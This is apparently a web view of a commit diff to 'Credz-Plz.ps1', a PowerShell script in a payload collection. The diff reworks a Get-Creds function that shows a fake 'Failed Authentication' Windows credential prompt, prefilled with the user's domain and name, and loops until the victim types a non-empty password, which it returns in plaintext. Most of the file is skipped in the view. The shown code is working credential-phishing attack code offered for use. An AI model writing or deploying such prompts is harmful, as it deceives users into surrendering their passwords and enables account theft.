🤬
  • ■ ■ ■ ■ ■ ■
    Payloads/Flip-Credz-Plz/Credz-Plz.ps1
    skipped 51 lines
    52 52  #>
    53 53   
    54 54  function Get-Creds {
    55  -do{
    56  -$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
    57  - if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) {
    58  - [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
    59  - Get-Creds
     55 + 
     56 +$form = $null
     57 + 
     58 +while ($form -eq $null)
     59 +{
     60 + $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
     61 + $cred.getnetworkcredential().password
     62 + 
     63 + if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
     64 + {
     65 + [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
     66 + $form = $null
     67 + }
     68 +
     69 + else{
     70 + $creds = $cred.GetNetworkCredential() | fl
     71 + return $creds
     72 + }
    60 73  }
    61  -$creds = $cred.GetNetworkCredential() | fl
    62  -return $creds
    63  - # ...
    64  - 
    65  - $done = $true
    66  -} until ($done)
    67 74   
    68 75  }
    69 76   
    skipped 155 lines
Please wait...
Page is in error, reload to recover